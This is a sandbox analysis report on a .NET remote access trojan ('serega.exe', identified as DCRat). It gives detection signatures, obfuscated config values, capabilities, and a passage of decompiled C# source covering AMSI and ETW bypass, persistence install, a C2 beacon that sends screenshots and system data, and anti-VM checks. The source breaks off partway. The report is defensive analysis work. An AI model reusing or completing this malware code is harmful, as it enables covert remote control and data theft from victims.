serega.exedcrat analysis report - Malicious
Run integrity
sample ranThe guest staged the sample and launched it, so what follows describes this file rather than an empty desktop.
Malicious
100/100
30 points past the malicious line at 70.
Why this verdict
- Malware config extracted (DCRat, PhemedroneStealer, QuasarRAT, RedLine, VenomRAT, XWorm)
- 1 high-risk capability(ies): reflective code loading
- 6 supporting capabilities in one unsigned binary: file discovery, obfuscation, registry query, screen capture
- .NET source: Reflectively loads an in-memory assembly
- Local ML score 99.2
- Antivirus detection: Win.Malware.Cerbu-10058200-0
- Identified as DCRat (possible confidence, named by configextract)
- The sample ran and then faulted: the operating system's crash reporter (WerFault.exe) started under it. What it did before that point was observed and is scored above; what it would have done afterwards was not.
- findings review (advisory, not scored): malicious - remote access trojan, amsi/etw bypass, credential and system discovery, self-respawning process chain
Model reading
Evidence ledger above, row by row. Published verdict rests on this column and on nothing to its right.
Reads this report's derived findings, never the sample itself.
A model reading exists for this scan and is shown to the submitter and to staff only. It is a second opinion about evidence the score already priced, it is worth no points, and on a public page it would stand beside the verdict with no grounding a stranger could check.
- HIGH Antivirus detection: Win.Malware.Cerbu-10058200-0
- HIGH Extracted DCRat malware configuration
- HIGH Extracted PhemedroneStealer malware configuration
- HIGH Extracted QuasarRAT malware configuration
Analysis layers
Malware family
0 independent sourcesNamed by a single source. Treat it as a lead rather than a classification.
| Layer | Source | What it matched |
|---|---|---|
| configextract | rule corpus | decoded configuration, by a parser with no signature of its own |
Detection signatures
19 detected · 2 withheld as common| Severity | Detection | Evidence | Layer |
|---|---|---|---|
| HIGH |
.NET source: Reflectively loads an in-memory assembly
MITRE T1620
|
- | dynamic |
| HIGH |
Antivirus detection: Win.Malware.Cerbu-10058200-0
|
antivirus
Win.Malware.Cerbu-10058200-0
antivirus engine match
|
antivirus |
| HIGH |
Extracted DCRat malware configuration
MITRE T1071
|
- | static |
| HIGH |
Extracted PhemedroneStealer malware configuration
MITRE T1071
|
- | static |
| HIGH |
Extracted QuasarRAT malware configuration
MITRE T1071
|
- | static |
| HIGH |
Extracted RedLine malware configuration
MITRE T1071
|
- | static |
| HIGH |
Extracted VenomRAT malware configuration
MITRE T1071
|
- | static |
| HIGH |
Extracted XWorm malware configuration
MITRE T1071
|
- | static |
| MED |
Changes memory protection to executable (NtProtectVirtualMemory)
MITRE T1055
|
string
ntprotectvirtualmemory
found in the sample's strings
|
static |
| MED |
High file entropy (encrypted/compressed payload)
MITRE T1027
|
entropy
7.76
threshold 7.20, maximum 8.00
|
static |
| MED |
Injection/execution API strings
MITRE T1055
|
string
bypass
matched string
string
frombase64string
matched string
|
static |
| MED |
Persistence-related strings
MITRE T1547
|
string
userinit
matched string
|
static |
| MED |
Ransomware-related strings
MITRE T1486
|
string
.crypt
matched string
|
static |
| MED |
Surveillance/keylogging strings
MITRE T1056
|
string
getforegroundwindow
matched string
|
static |
| LOW |
Checks free disk space (sandbox sizing check)
MITRE T1497.001
seen in 6% of benign software
|
string
getdiskfreespace
found in the sample's strings
|
static |
| LOW |
Executes via ShellExecute
MITRE T1204
seen in 12% of benign software
|
string
shellexecute
found in the sample's strings
|
static |
| LOW |
Network communication capability
MITRE T1071
seen in 6% of benign software
|
capability
send
capability: network
capability
socket
capability: network
|
static |
| LOW |
Reads the foreground window (activity monitoring)
MITRE T1113
|
string
getforegroundwindow
found in the sample's strings
|
static |
| INFO |
.NET managed assembly (decompiled)
|
- | static |
These rules matched this sample, and they also match this much of known-clean software (measured over 1145 signed Windows and third-party binaries). A rule that fires on most clean files cannot move a verdict, so it is held back unless the detonation confirms the behaviour. They are listed because a count that shrinks without saying so is not a count an analyst can check.
What the tests returned
6 testsEach test this run performed and what it returned. A test that was not performed says so rather than reading as a negative result.
| Test | Result |
|---|---|
| Persistence mechanisms | none established at runtime |
| Cross-process injection | none observed |
| Payloads written to disk | none observed |
| Network connections | not tested - this run had no route out, so an empty network section is a property of the run and not an observation about the sample |
| Behavioural rule matches (Sigma) | none observed |
| Known-malicious hash (reputation sources) | no source reported this file |
Absence of an observation is not proof of absence - see Coverage for what this run could and could not test.
Arguing against malice
- No reputation source reported this file as malicious.
How much weight this carries
Confirmed. Independent external evidence, or the same behaviour seen by more than one analysis layer. The one fact that decided it: the local AV engine flagged the file.
Instrument coverage
3 of 4 measuredWhat this run was able to observe, as the run itself recorded it. A layer that did not run makes an empty result a fact about the sandbox rather than about the sample.
| Layer | Ran | What that means |
|---|---|---|
| Runtime anti-analysis watch | measured | Measured. The in-process hook group for debugger, timing and hypervisor checks armed on this run, so an empty signal list means something looked and saw nothing. |
| API call sequence | measured | Measured for the hooked anti-analysis calls. It is not a full API trace: the sequence carries interpreter spawns plus the hooked anti-analysis calls, and nothing else. |
| Explicit module loads | measured | Measured, with two limits. Only a module the sample asks for by hand is recorded, so one brought in by its own import table never appears, and the hooks arrive a few seconds after a process starts. |
| Network capture | not on this plan | Not included on this scan's plan. |
| Live kernel introspection | not measured | Not measured. This run did not ask for the memory-dump option, which is what starts the introspection loop. |
This lists the layers this run recorded for itself. A layer that is not listed was not recorded either way, so its absence here is not a result.
Structure
What the file is made of: headers, imports, how it was built and whether it was signed.
Sections & resources
How the file is laid out in memory, and what is embedded in it: section roles, access rights, entropy and every resource entry.
Signatures & packing
What matched and what is hidden: signature rules, detected capabilities, family attribution, packer detection, unpacked payloads and recovered configuration.
Strings
The readable content: embedded secrets, flagged strings and everything extraction recovered.
Code
What the sample would execute: the emulated API call sequence, and the disassembled entry point.
Antivirus engine
signature match signature set 28162 - 3.6M signaturesA local signature engine recognises these bytes. The name below is what that one engine calls them - it is a signature name, not an independent family attribution, and two engines routinely give the same file two different names.
Signature Win.Malware.Cerbu-10058200-0
| Signature set | Value |
|---|---|
| Set version | 28162 |
| Signatures in the set | 3,642,894 |
| Set published | 23 Oct 2026 06:24 +0000 |
| Age when this file was scanned | same day |
A negative answer is only as good as the signature set that gave it, so the set is recorded with the result and the result can be reproduced against it.
Local ML assessment
99.2 of 100 8 strongest of 2568 featuresA gradient-boosted model running entirely on this host scored this file 99.2 of 100 on structure alone: its headers, sections, imports, strings and signature. The file was not executed and nothing about it left this machine.
Read this as corroboration and not as a verdict. Measured across this corpus the model separates signed software from unsigned software more sharply than malicious from benign, so it is charged at most 15 of 100 verdict points and only on top of evidence this report measured for itself. The eight features below are the ones that moved it furthest.
| Structural feature | What it means | Pushes | Weight |
|---|---|---|---|
| image flag dll | Image flag: a library rather than a program | towards malicious | +1.5705 |
| optional.address_of_entrypoint | Address the program starts executing at (0) | towards benign | -0.8489 |
| parser warning: AddressOfEntryPoint lies outside the sections' b | Header defect reported by the parse: AddressOfEntryPoint lies outside the sections' b (1) | towards malicious | +0.6157 |
| parser warning: Suspicious flags set for section... | Header defect reported by the parse: Suspicious flags set for section... (0) | towards benign | -0.4740 |
| optional.checksum | Header checksum, which is zero on most files that were never signed (0) | towards malicious | +0.4207 |
| optional.image_base | Address the program prefers to be loaded at (5368709120) | towards benign | -0.3536 |
| feature column 2478 | When a timestamp authority countersigned the signature | towards malicious | +0.3137 |
| section entropy .text | Byte randomness of section .text | towards malicious | +0.2952 |
A weight is a log-odds nudge away from the model's own baseline, not a percentage point. Where a feature names a section, an import or a build id, the number beside it is the model's own hashed cell for that name rather than a measurement of the file: two names can share one cell and the sign comes from the hash, so no number is shown for those rows.
- .NET managed binary (no obfuscator signature matched)
Extracted malware config
DCRat, PhemedroneStealer, QuasarRAT, RedLine, VenomRAT, XWorm| raw | Hosts=zmJxzm@@zmJxI@N#~~~~~, Group=, Version=Kxo, Mutex={,,uU)J__>NuH0-I{B}~N,}<K1, Install=Nm/@, InstallWatchDog=Nm/@, UseInstallAdmin=Nm/@, ExclusionWD=Nm/@, HiddenFile=Nm/@, RootKit=) ~ '?W./p~Y}uP |
|---|
| Key | __AjFJO_uN)q_} |
|---|---|
| Pump | zO?A@ |
| Hosts | zmJxzm@@zmJxI@N#~~~~~ |
| Mutex | {,,uU)J__>NuH0-I{B}~N,}<K1 |
| Install | Nm/@ |
| RootKit | ) ~ '?W./p~Y}uP<>fXJPO |
| Version | Kxo |
| UserInit | Nm/@ |
| HiddenFile | Nm/@ |
| PathClient | g(qR'Y/_@INAgk)PfPA@m@FOx@)@ |
| TaskClient | +Em'_mx@)@ |
| Antivirtual | zO?A@ |
| Certificate | N'IWfF<U |
| ExclusionWD | Nm/@ |
| PathWatchDog | g]A@mcm'zU?@gk)PfPA@m@FOx)PfP |
| TaskWatchDog | A@m@FOx@)@ |
| InstallWatchDog | Nm/@ |
| UseInstallAdmin | Nm/@ |
| Key | __AjFJO_uN)q_} |
|---|---|
| Pump | zO?A@ |
| Hosts | zmJxzm@@zmJxI@N#~~~~~ |
| Mutex | {,,uU)J__>NuH0-I{B}~N,}<K1 |
| Install | Nm/@ |
| RootKit | ) ~ '?W./p~Y}uP<>fXJPO |
| Version | Kxo |
| UserInit | Nm/@ |
| HiddenFile | Nm/@ |
| PathClient | g(qR'Y/_@INAgk)PfPA@m@FOx@)@ |
| TaskClient | +Em'_mx@)@ |
| Antivirtual | zO?A@ |
| Certificate | N'IWfF<U |
| ExclusionWD | Nm/@ |
| PathWatchDog | g]A@mcm'zU?@gk)PfPA@m@FOx)PfP |
| TaskWatchDog | A@m@FOx@)@ |
| InstallWatchDog | Nm/@ |
| UseInstallAdmin | Nm/@ |
| Key | __AjFJO_uN)q_} |
|---|---|
| Pump | zO?A@ |
| Hosts | zmJxzm@@zmJxI@N#~~~~~ |
| Mutex | {,,uU)J__>NuH0-I{B}~N,}<K1 |
| Install | Nm/@ |
| RootKit | ) ~ '?W./p~Y}uP<>fXJPO |
| Version | Kxo |
| UserInit | Nm/@ |
| HiddenFile | Nm/@ |
| PathClient | g(qR'Y/_@INAgk)PfPA@m@FOx@)@ |
| TaskClient | +Em'_mx@)@ |
| Antivirtual | zO?A@ |
| Certificate | N'IWfF<U |
| ExclusionWD | Nm/@ |
| PathWatchDog | g]A@mcm'zU?@gk)PfPA@m@FOx)PfP |
| TaskWatchDog | A@m@FOx@)@ |
| InstallWatchDog | Nm/@ |
| UseInstallAdmin | Nm/@ |
| Key | __AjFJO_uN)q_} |
|---|---|
| Pump | zO?A@ |
| Hosts | zmJxzm@@zmJxI@N#~~~~~ |
| Mutex | {,,uU)J__>NuH0-I{B}~N,}<K1 |
| Install | Nm/@ |
| RootKit | ) ~ '?W./p~Y}uP<>fXJPO |
| Version | Kxo |
| UserInit | Nm/@ |
| HiddenFile | Nm/@ |
| PathClient | g(qR'Y/_@INAgk)PfPA@m@FOx@)@ |
| TaskClient | +Em'_mx@)@ |
| Antivirtual | zO?A@ |
| Certificate | N'IWfF<U |
| ExclusionWD | Nm/@ |
| PathWatchDog | g]A@mcm'zU?@gk)PfPA@m@FOx)PfP |
| TaskWatchDog | A@m@FOx@)@ |
| InstallWatchDog | Nm/@ |
| UseInstallAdmin | Nm/@ |
| CNCs | \;KVo+F8|.gLCMY6*etclU(4q)}S&nZB`Q'>TX%ayW2@9[E/_G"!1{v~]PxD0ikrIuOdm=J,5^f<$j7HN#zbh-sp3:w RA? |
|---|---|
| botnet | kST:',*oMxFC+(3u&@NY?]-~HZV!0I9les$L"hgOqnp1>|tadbD;Ki}75c)R<U m=/GP_`w%X{z\BrW82yjQE6AJ.#f^[v4 |
Secrets & malicious strings
5 flagged stringsFlagged string categories
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| bypass | raw bytes | present in the file bytes only |
| frombase64string | raw bytes | present in the file bytes only |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| userinit | extracted string | UserInitRemove |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| .crypt | extracted string | System.Security.Cryptography.X509Certificates |
| Indicator | Found in | Evidence from the sample |
|---|---|---|
| getforegroundwindow | raw bytes | present in the file bytes only |
Capabilities
2 behaviour buckets| Severity | Capability | MITRE | APIs |
|---|---|---|---|
| med | Network / C2 Opens sockets, HTTP or downloads payloads |
T1071, T1095 | send, socket |
| med | Code execution Creates processes / runs commands or shellcode |
T1059 | system |
Security mitigations
partial posture.NET managed
| Assembly | Client 1.0.0.0 |
|---|---|
| Streams | #~ #Strings #US #GUID #Blob |
| P/Invoke | 0 unmanaged import(s) |
| Resources | ton7wg0i, xk4kol73u24cv6d09w5pda |
Sections
2 sections · the file's memory layout| Section | Virtual addr | Raw size | Virtual size | Access | Entropy |
|---|---|---|---|---|---|
|
.text
Executable code
|
0x2000 |
179.0 KB
|
178.6 KB
|
EXECUTEREAD
|
7.7533
|
|
.rsrc
Resources
|
0x30000 |
27.0 KB
|
26.6 KB
|
READ
|
7.8189
|
Imports
0 funcs / 0 DLLsNo imports resolved (statically linked or packed - the IAT is rebuilt at runtime; see dynamic analysis).
Binary metadata
what the headers declare about this build| Resource langs | NEU |
|---|---|
| Debug info | no |
| TLS callbacks | no |
Code signing
UnsignedThis binary carries no Authenticode signature. Unsigned executables are a weak suspicious signal - most legitimate vendor software is signed.
Resources
Everything the binary carries inside it: icons, bitmaps, cursors, dialogs, string tables, the manifest and the version block. Select an entry to preview it and take a copy.
Resources
Resource Hacker viewSelect a resource from the tree to inspect its language, size, RVA offset, MD5, entropy and detected content signature - like opening the binary in Resource Hacker.
| Type | Group Icon |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 132.0 B |
| RVA offset | 0x364d0 |
| Content signature | Icon |
| MD5 | 46a5605ec4fa498e7d74efe4a84fde04 |
| Entropy | 2.54 |
| Type | Icon |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 632.0 B |
| RVA offset | 0x302b0 |
| Content signature | PNG |
| MD5 | a50c90e1cf87dd601fd64ad2bea3f2f9 |
| Entropy | 7.625 |
| Type | Icon |
|---|---|
| Name / ID | 2 |
| Language | NEU |
| Size | 1001.0 B |
| RVA offset | 0x30528 |
| Content signature | PNG |
| MD5 | cf9a7720d47b38a41874caee4c2aa204 |
| Entropy | 7.786 |
| Type | Icon |
|---|---|
| Name / ID | 3 |
| Language | NEU |
| Size | 1.4 KB |
| RVA offset | 0x30914 |
| Content signature | PNG |
| MD5 | 2a495ce51c139ddbc0523eeb27628a8a |
| Entropy | 7.833 |
| Type | Icon |
|---|---|
| Name / ID | 4 |
| Language | NEU |
| Size | 2.0 KB |
| RVA offset | 0x30e80 |
| Content signature | PNG |
| MD5 | c44a63b35aeb3cbd6851b064499c3a06 |
| Entropy | 7.871 |
| Type | Icon |
|---|---|
| Name / ID | 5 |
| Language | NEU |
| Size | 2.7 KB |
| RVA offset | 0x3167c |
| Content signature | PNG |
| MD5 | 3d56a782424556cdb5893abe662f5af0 |
| Entropy | 7.908 |
| Type | Icon |
|---|---|
| Name / ID | 6 |
| Language | NEU |
| Size | 3.0 KB |
| RVA offset | 0x32178 |
| Content signature | PNG |
| MD5 | 1762d81ba216441bcaf9cc643b81828b |
| Entropy | 7.92 |
| Type | Icon |
|---|---|
| Name / ID | 7 |
| Language | NEU |
| Size | 4.2 KB |
| RVA offset | 0x32d94 |
| Content signature | PNG |
| MD5 | f886ed7fe42dfc9ab85a9083c010a837 |
| Entropy | 7.935 |
| Type | Icon |
|---|---|
| Name / ID | 8 |
| Language | NEU |
| Size | 5.5 KB |
| RVA offset | 0x33e70 |
| Content signature | PNG |
| MD5 | cbdfe0be803c22a568aafa867da58002 |
| Entropy | 7.917 |
| Type | Icon |
|---|---|
| Name / ID | 9 |
| Language | NEU |
| Size | 4.1 KB |
| RVA offset | 0x35498 |
| Content signature | PNG |
| MD5 | 1189cf0e5bcad2622e161c7d67ede65c |
| Entropy | 7.707 |
| Type | Manifest |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 490.0 B |
| RVA offset | 0x36860 |
| Content signature | XML manifest |
| MD5 | b7db84991f23a680df8e95af8946f9c9 |
| Entropy | 5.001 |
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
| Type | Version Info |
|---|---|
| Name / ID | 1 |
| Language | NEU |
| Size | 780.0 B |
| RVA offset | 0x36554 |
| Content signature | Version Info |
| MD5 | 77742694e3a324cc94cca59a9264fb12 |
| Entropy | 3.21 |
| Comments | |
|---|---|
| CompanyName | |
| FileVersion | 1.0.0.0 |
| ProductName | Client |
| InternalName | Client.exe |
| LegalCopyright | Copyright © 2024 |
| ProductVersion | 1.0.0.0 |
| FileDescription | Client |
| LegalTrademarks | |
| Assembly Version | 1.0.0.0 |
| OriginalFilename | Client.exe |
Capability detection
45 capabilitiesThe capability analysis reports a limitation on this class of file: (internal) .NET file limitation.
Read what follows as the capabilities of the code that could be read, not of the file as a whole.
| Capability | Namespace |
|---|---|
| create process in .NET | host-interaction/process/create |
| write file in .NET | host-interaction/file-system/write |
| create or open mutex on Windows | host-interaction/mutex |
| get process image filename | host-interaction/process |
| get file attributes | host-interaction/file-system/meta |
| suspend thread | host-interaction/thread/suspend |
| create TCP socket | communication/socket/tcp |
| create thread | host-interaction/thread/create |
| create or open registry key | - |
| set file attributes | host-interaction/file-system/meta |
| contain loop | - |
| get session integrity level | host-interaction/session |
| get session user name | host-interaction/session |
| get hostname | host-interaction/os/hostname |
| generate random numbers in .NET | data-manipulation/prng |
| terminate process | host-interaction/process/terminate |
| access WMI data in .NET | host-interaction/wmi |
| get common file path | host-interaction/file-system |
| check if file exists | host-interaction/file-system/exists |
| check if directory exists | host-interaction/file-system/exists |
| get .NET assembly entry point | load-code/dotnet |
| invoke .NET assembly method | load-code/dotnet |
| load .NET assembly | load-code/dotnet |
| manipulate unmanaged memory in .NET | host-interaction/memory |
| create a process with modified I/O handles and window | host-interaction/process/create |
| generate random filename in .NET | host-interaction/file-system |
| write and execute a file | communication/c2/file-transfer |
| unmanaged call | runtime |
| hash data with MD5 | data-manipulation/hashing/md5 |
| get number of processors | host-interaction/hardware/cpu |
| create directory | host-interaction/file-system/create |
| set registry value | host-interaction/registry/create |
| query or enumerate registry key | host-interaction/registry |
| query or enumerate registry value | host-interaction/registry |
| delete file | host-interaction/file-system/delete |
| execute via timer in .NET | host-interaction/thread/timer |
| access .NET resource | executable/resource |
| save image in .NET | collection |
| capture screenshot | collection/screenshot |
| encode data using Base64 | data-manipulation/encoding/base64 |
| decode data using Base64 in .NET | data-manipulation/encoding/base64 |
| delete registry value | host-interaction/registry/delete |
| act as TCP client | communication/tcp/client |
| compiled to the .NET platform | runtime/dotnet |
Signature matches
0 findings · 4 file properties · 0 scoredThese say what the file IS or holds - bitness, subsystem, an overlay, an embedded macro stream, which compiler built it. Ordinary files match several, and none of them carry weight in the score.
No signature rule identified a threat in this file.
Extracted strings
showing 200 of 680- !This program cannot be run in DOS mode.
- .text
- `.rsrc
- *.sD
- *.si
- dALG0
- i8SHM
- )g HCH
- QRUS8
- OIOF
- $+.aL
- otkR!P\
- -wp_Td
- M:SDi
- OFE=zu
- CUtd(
- LTOf
- eiAD
- uEA6K
- tb.mo
- yn]dfU
- Zyfn7g
- ~.Ov
- MPEm
- Nyse
- ir,ztr
- 4gLO#L
- x.rE
- .Yh%
- MZCO
- j.Fn
- jxdE
- lhaD
- KHIy
- NKEc
- nSYX
- i=mxh
- g.lW~\
- rnTB
- QRP"E\
- PA_mn/
- clq4S{enf
- zerK
- Cnej;
- \^.GE
- MH:\}
- [email protected]
- KMri
- 2.ko+
- imp6e
- tjNEH+
- aeni
- ACse
- d)jnG
- OUCx
- eeXfhom
- h%sWG;
- beLV
- vCOU
- #Strings
- #GUID
- <>c__DisplayClass3_0
- <CheckWMI>b__4_0
- <PatchMem>b__0
- IEnumerable`1
- List`1
- ProcessClientBufferReceived1
- ProcessClientBufferNotReceived1
- isVM_by_wim_temper1
- __StaticArrayInitTypeSize=12
- Microsoft.Win32
- ToUInt32
- ReadInt32
- <client>5__2
- ProcessClientBufferReceived2
- gdfudsin8shd2
- X509Certificate2
- <networkStream>5__3
- E123F60E9FC6E974D1381F2F15FB19E7960628CC8925D65E344C2F2BDC64F424
- ToUInt64
- __StaticArrayInitTypeSize=5
- CABAFE20CFEA6C92D3377C14650461E190857D48D13934B5562233C314AAFBB5
- <writer>5__5
- ToUInt16
- ReadInt16
- <memoryStream>5__6
- get_UTF8
- <Module>
- <PrivateImplementationDetails>
- GetModuleHandleA
- 42FC44596E89DA5AE6D4D3E3F99803B92713C413F3B56B0F59C5CC4E681E362C
- 0C50C67E839472CD612D6033109F5E032987E48E367247F29C0EB30A1D3EB5FC
- System.Drawing.Drawing2D
- ES_SYSTEM_REQUIRED
- ES_DISPLAY_REQUIRED
- ExclusionWD
- EXECUTION_STATE
- get_ASCII
- CheckWMI
- System.IO
- ES_CONTINUOUS
- UserINIT
- AsmiAndETW
- PatchETW
- value__
- Camera
- ReadData
- data
- WriteLeb
- mscorlib
- set_Verb
- System.Collections.Generic
- SendSync
- WriteLineAsync
- CopyToAsync
- ConnectAsync
- EndRead
- BeginRead
- Thread
- Load
- ClientBufferRecevied
- get_Connected
- SmallDiskDetected
- EnvironmentDetected
- AwaitUnsafeOnCompleted
- get_IsCompleted
- ProcessClientBufferReceived
- ProcessClientBufferNotReceived
- Hwid
- hwid
- ClassItemField
- Send
- Append
- RegistryValueKind
- DecodEncod
- InvokeMethod
- GetMethod
- method
- Replace
- CreateInstance
- FileMode
- set_InterpolationMode
- SelectMode
- Decode
- FromImage
- DrawImage
- Privilege
- DynamicAPIInvoke
- DynamicInvoke
- EndInvoke
- SaveInvoke
- BeginInvoke
- DynamicFunctionInvoke
- lpFreeBytesAvailable
- IEnumerable
- IDisposable
- ReadLebDouble
- ToDouble
- RuntimeFieldHandle
- RuntimeTypeHandle
- GetTypeFromHandle
- ProcessHandle
- WaitHandle
- Rectangle
- ToSingle
- GetResourceFile
- HiddenFile
- CopyFile
- IsInRole
- WindowsBuiltInRole
- GetActiveWindowTitle
- oldtitle
- AddAccessRule
- RemoveAccessRule
- FileSystemAccessRule
- get_MainModule
- ProcessModule
- set_WindowStyle
- ProcessWindowStyle
- DLLName
- get_Name
- get_FileName
- set_FileName
- GetTempFileName
- GetFileName
- fileName
- get_ModuleName
- lpModuleName
- get_MachineName
- get_FullName
- get_UserDomainName
- FunctionName
- get_UserName
- ExportName
- lpDirectoryName
- GetDirectoryName
- taskname
- endTime
- DateTime
- GetCreationTime
No strings match this filter.
Stack and decoded strings were not recovered: no reason was recorded. Only literal strings present in the file are listed above.
Disassembly
entry point · x64 · 6 insnsNothing in this view
This sample produced no results for this part of the static analysis.
Import fingerprint
no import tableThis file has no import table to fingerprint - no import directory (statically linked, packed, or the table is destroyed). That is itself worth knowing: a Windows executable that imports nothing rebuilds its imports while it runs, which is what a packed or protected sample does. The dynamic layer is where those calls appear.
AI security review
not on this plan paid plansAI security review is on the paid plans
On a paid scan a model reads the decompiled code end to end and returns a verdict with the lines it rests on, above the source.
Nothing is being withheld here. No model read this assembly, so no verdict is stored behind the lock. Findings, the type tree and the full decompiled source below are on every plan and are unaffected.
Decompiled .NET source
1 finding C# 24 types · 2419 linesDecompiled from IL. Every type defined in the assembly is listed below; on a merged or packed sample some of it belongs to a bundled library rather than to the author. Behaviour review and the AI layer read only the author's own types.
| Severity | Behavior detected in source | MITRE |
|---|---|---|
| high | Reflectively loads an in-memory assembly | T1620 |
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Management;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.AccessControl;
using System.Security.Authentication;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Client.Helper;
using Leb128;
using Microsoft.Win32;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("Client")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Client")]
[assembly: AssemblyCopyright("Copyright © 2024")]
[assembly: AssemblyTrademark("")]
[assembly: Guid("4a2f8fb6-1077-469a-9246-736e6afe8da1")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: ComVisible(false)]
[assembly: TargetFramework(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Leb128
{
internal class Config
{
public static string Hosts;
public static string Group;
public static string Version;
public static string Mutex;
public static string Install;
public static string InstallWatchDog;
public static string UseInstallAdmin;
public static string ExclusionWD;
public static string HiddenFile;
public static string RootKit;
public static string Pump;
public static string TaskClient;
public static string TaskWatchDog;
public static string PathClient;
public static string PathWatchDog;
public static string Certificate;
public static string Antivirtual;
public static string UserInit;
public static string Key;
public static string Camera;
public static string Cpu;
public static string Gpu;
public static string AntiVirus;
public static string RegKey;
public static string WindowsVersion;
public static string Hwid;
public static string DataInstall;
public static string Privilege;
public static X509Certificate2 ServerCertificate;
public static void Init()
{
RegKey = EncryptString.Decode("false");
WindowsVersion = Methods.GetWindowsVersion();
Gpu = string.Join(EncryptString.Decode("%"), Methods.GetHardwareInfo(EncryptString.Decode("nUI.pd:UP@'+'INm'??@m"), EncryptString.Decode("2O_@")));
DataInstall = File.GetCreationTime(Process.GetCurrentProcess().MainModule.FileName).ToString(EncryptString.Decode("PPx((xqqqq"));
Hwid = HwidGenerator.hwid();
Cpu = string.Join(EncryptString.Decode("%"), Methods.GetHardwareInfo(EncryptString.Decode("nUI.pdcm'Y@AA'm"), EncryptString.Decode("2O_@")));
AntiVirus = Methods.Antivirus();
Camera = Methods.Camera();
if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
{
Privilege = EncryptString.Decode("vP_UI");
}
else
{
Privilege = EncryptString.Decode("]A@m");
}
Hosts = EncryptString.Decode(Hosts);
Group = EncryptString.Decode(Group);
Version = EncryptString.Decode(Version);
Mutex = EncryptString.Decode(Mutex);
Install = EncryptString.Decode(Install);
RootKit = EncryptString.Decode(RootKit);
Key = EncryptString.Decode(Key);
Certificate = EncryptString.Decode(Certificate);
if (Install == EncryptString.Decode("Nm/@"))
{
PathClient = Methods.GetPath(EncryptString.Decode(PathClient));
UseInstallAdmin = EncryptString.Decode(UseInstallAdmin);
ExclusionWD = EncryptString.Decode(ExclusionWD);
HiddenFile = EncryptString.Decode(HiddenFile);
Pump = EncryptString.Decode(Pump);
UserInit = EncryptString.Decode(UserInit);
TaskClient = EncryptString.Decode(TaskClient);
InstallWatchDog = EncryptString.Decode(InstallWatchDog);
if (InstallWatchDog == EncryptString.Decode("Nm/@"))
{
PathWatchDog = Methods.GetPath(EncryptString.Decode(PathWatchDog));
TaskWatchDog = EncryptString.Decode(TaskWatchDog);
}
}
ServerCertificate = new X509Certificate2(Xor.DecodEncod(Methods.GetResourceFile(Certificate), Encoding.ASCII.GetBytes(Key)));
}
static Config()
{
Hosts = "zmJxzm@@zmJxI@N#~~~~~";
Group = "";
Version = "Kxo";
Mutex = "{,,uU)J__>NuH0-I{B}~N,}<K1";
Install = "Nm/@";
InstallWatchDog = "Nm/@";
UseInstallAdmin = "Nm/@";
ExclusionWD = "Nm/@";
HiddenFile = "Nm/@";
RootKit = ") ~ '?W./p~Y}uP<>fXJPO";
Pump = "zO?A@";
TaskClient = "+Em'_mx@)@";
TaskWatchDog = "A@m@FOx@)@";
PathClient = "g(qR'Y/_@INAgk)PfPA@m@FOx@)@";
PathWatchDog = "g]A@mcm'zU?@gk)PfPA@m@FOx)PfP";
Certificate = "N'IWfF<U";
Antivirtual = "zO?A@";
UserInit = "Nm/@";
Key = "__AjFJO_uN)q_}";
}
}
internal class Program
{
public static Client.Helper.Client client = new Client.Helper.Client();
private static void Main(string[] args)
{
try
{
Config.Init();
AsmiAndETW.Bypass();
if (Config.Install == EncryptString.Decode("Nm/@"))
{
Install.Run();
}
if (!MutexControl.CreateMutex(Config.Mutex))
{
return;
}
Methods.MaxPriority();
Methods.PreventSleep();
while (true)
{
if (!client.itsConnect)
{
string[] array = Config.Hosts.Split(new char[1] { ';' });
string[] array2 = array[Methods.random.Next(array.Length)].Split(new char[1] { ':' });
string[] array3 = array2[1].Split(new char[1] { ',' });
client.Disconnect();
client.Connect(array2[0], array3[Methods.random.Next(array3.Length)]);
if (client.itsConnect)
{
client.pingChecker = new PingChecker(client);
client.lastPing = new LastPing(client);
client.Send(LEB128.Write(new object[14]
{
EncryptString.Decode("+'II@YN"),
Methods.CaptureResizeReduceQuality(),
Config.Group,
Config.Hwid,
Environment.UserName + EncryptString.Decode("^1^") + Environment.MachineName,
Config.Camera,
Config.Cpu,
Config.Gpu,
Config.WindowsVersion,
Config.AntiVirus,
Config.Version,
Config.DataInstall,
Config.Privilege,
Methods.GetActiveWindowTitle()
}));
}
}
Thread.Sleep(200);
}
}
catch
{
}
}
}
internal class AntiVirtual
{
public static void RunAntiAnalysis()
{
if (isVM_by_wim_temper() || isVM_by_wim_temper1() || Check() || CheckWMI() || SmallDiskDetected() || EnvironmentDetected())
{
Environment.Exit(0);
}
}
public static bool Check()
{
string[] array = new string[5]
{
